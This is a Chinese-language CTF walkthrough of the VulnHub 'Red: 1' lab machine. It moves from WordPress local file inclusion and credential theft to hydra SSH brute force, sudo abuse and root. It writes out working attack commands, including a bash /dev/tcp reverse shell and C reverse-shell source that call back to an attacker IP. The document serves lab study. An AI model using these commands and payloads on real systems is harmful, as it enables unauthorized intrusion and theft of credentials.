**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究
靶机信息
下载地址:www.vulnhub.com/entry/red-1…
难度:中等
上架时间:2021年11月3日
提示信息:Red has taken over your system, are you able to regain control?
红色已经控制了你的系统,你能重新控制吗?
信息收集
扫描主机
sudo nmap -sP 192.168.7.1/24
扫描端口
sudo nmap -sC -sV -p- 192.168.7.238 -oN Red-1.nmap
nmap扫描到开放22端口和80端口,并且还帮我们扫描到一些信息,robots.txt文件、wp-admin后台目录、WordPress 5.8.1版本
web渗透
让我们先访问80看看,是Red黑了我们的站点,并且嘲笑我们永远找不到后门
首页上的链接和后台都无法访问,看链接都指向了一个redrocks.win的地址,应该需要我们绑定域名
绑定域名
sudo vi /etc/hosts
绑定域名后页面变正常了
到处点点发现在redrocks.win/2021/10/24/…
Still Looking For It? Maybe you should ask Mr. Miessler for help, not that it matters, you won't be able to read anything with it anyway
百度翻译:
还在找吗?也许你应该向米斯勒先生寻求帮助,这并不重要,反正你什么都看不懂.
首先是Looking For IT这段里用了三个大写字母让人联想到LFI(Local File Include)本地文件包含的简写,并且这里提到了Mr. Miessler,google搜索发现他是<秘密名单>的作者,最后还提到阅读任何东西
按以上内容猜测不是一个后门文件,而是本地文件包含漏洞,如果是文件包含那就需要一个参数.
目录扫描
先找一下后门文件:
gobuster dir -u http://192.168.7.238 -w ../../Dict/SecLists-2021.4/Web-Shells/backdoor_list.txt +x .php
扫描到文件NetworkFileManagerPHP.php,访问提示错误500
那现在就用模糊测试下参数,找到参数为key
wfuzz -c -w HackTools/Dict/SecLists-2021.4/Discovery/Web-Content/burp-parameter-names.txt -u http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=xxx |grep 200
浏览器中验证参数是否正确
http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd
参数正确并且找到4个有登录权限的帐号:root john ippsec oxdf
用伪协议看下NetworkFileManagerPHP.php文件的源码
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php
base64解码后为
<?php
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>
这里面还有一段base64,拿出来再解一次
VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw==
解出来的内容是
That password alone won't help you! Hashcat says rules are rules
这个提示提到密码和hashcat还有规则,意思是让我暴破?
既然拿到文件包含漏洞了,就再找找有价值的东西
首先读取wordpress的配置文件
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php
bash64解一下
找到mysql数据库帐号john密码R3v_m4lwh3r3_k1nG!!
这里的帐号john与passwd文件中的帐号相同,那么密码会不会也是一样的呢?
ssh登录验证
暴破密码
登陆失败,既然都提到了hashcat那就用他破解下规则
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > password.txt
再用解出来的密码本password.txt对ssh暴破
hydra -l john -P password.txt 192.168.7.238 ssh
成功拿到密码!!Gn1k_3r3hwl4m_v3R现在登陆ssh
又提示我密码不对
再暴破一次,密码竟然变了R3v_m4lwh3r3_k1nG!!00
暴破几次才登录上去,随手看了下目录里的文件,当我用cat查看文件时竟然是编辑文档,我用vi编辑文件又变成了查看文件内容,看来vi和cat命令相互改了名字,在我打完这段文字时我竟然被踢下来了.
在他的提示里提到ippsec字样,之前我们在passwd文件中看到了相同的帐号,估计是让我们用ippsec帐号
再次暴破密码登陆后立即查看sudo权限
sudo -l
发现ippsec 执行/usr/bin/time不需要sudo密码即可执行,那就利用一下进入ippsec权限
sudo -u ippsec /usr/bin/time /bin/bash
切换成功,可是又被踢下来了,那如何能持久化登录上去呢?
再次登陆切换到ippsec帐号
反弹shell
先在kali攻击机下监听4444端口
nc -lvvp 4444
暴破密码
hydra -l john -P password.txt 192.168.7.238 ssh
登录ssh
ssh john@192.168.7.238
因为时间有限,登录后立即执行切换帐号和反弹shell(两条命令可以一起复制粘贴到shell里执行)
sudo -u ippsec /usr/bin/time /bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.7.3/4444 0>&1'
反弹成功,使用python3切换到完整的shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty -a
stty raw -echo;fg
reset
stty rows 23 columns 172
切换后等了一会ssh又断开了,但是我们反弹的shell还保留,shell交互还是有点问题
看起来非常不舒服,这时我们再次使用nc反弹到另一个端口即可恢复正常
先在kali攻击监听3333端口
nc -lvvp 3333
在之前反弹回来的shell里再次反弹
这时可以看到3333端口反弹成功了
再次用python3切换完整shell
这时要按Ctrl+Z
这时仍然有弹出消息,但是不会踢下线,交互式shell也正常了
权限提升
想到这个RED一直在踢我下线,并且给我发消息,那一定有程序一直在运行
使用pspy64s监听程序运行,先下载pspy64s
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
下载提示无权限
那我们切换到/tmp目录再下载一次
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
下载成功,为pspy64s添加可执行权限并运行
chmod +x pspy64s
./pspy64s
让我们稍等一会,就会发现循环执行的内容
这些都是都是自动运行的程序,root下的测试过都没有权限访问,但是这里有wordpress目录下的内容可以利用
切换到.git目录
cd /var/www/wordpress/.git
先删除rev程序
rm rev
我们到revshells.com生成一个C的反弹后门源码替换supersecretfileuc.c文件
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 7777;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.7.3");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
现在kali攻击机下再开一个监听端口7777
nc -lvvp 7777
然后在shell里新一个文件exp.c
cat exp.c
再将后门代码复制到文件内
最后用mv 命令将exp.c改名为supersecretfileuc.c
mv exp.c supersecretfileuc.c
这时只要静静等待过一会便会连上我们的7777端口
成功拿到root权限,结束.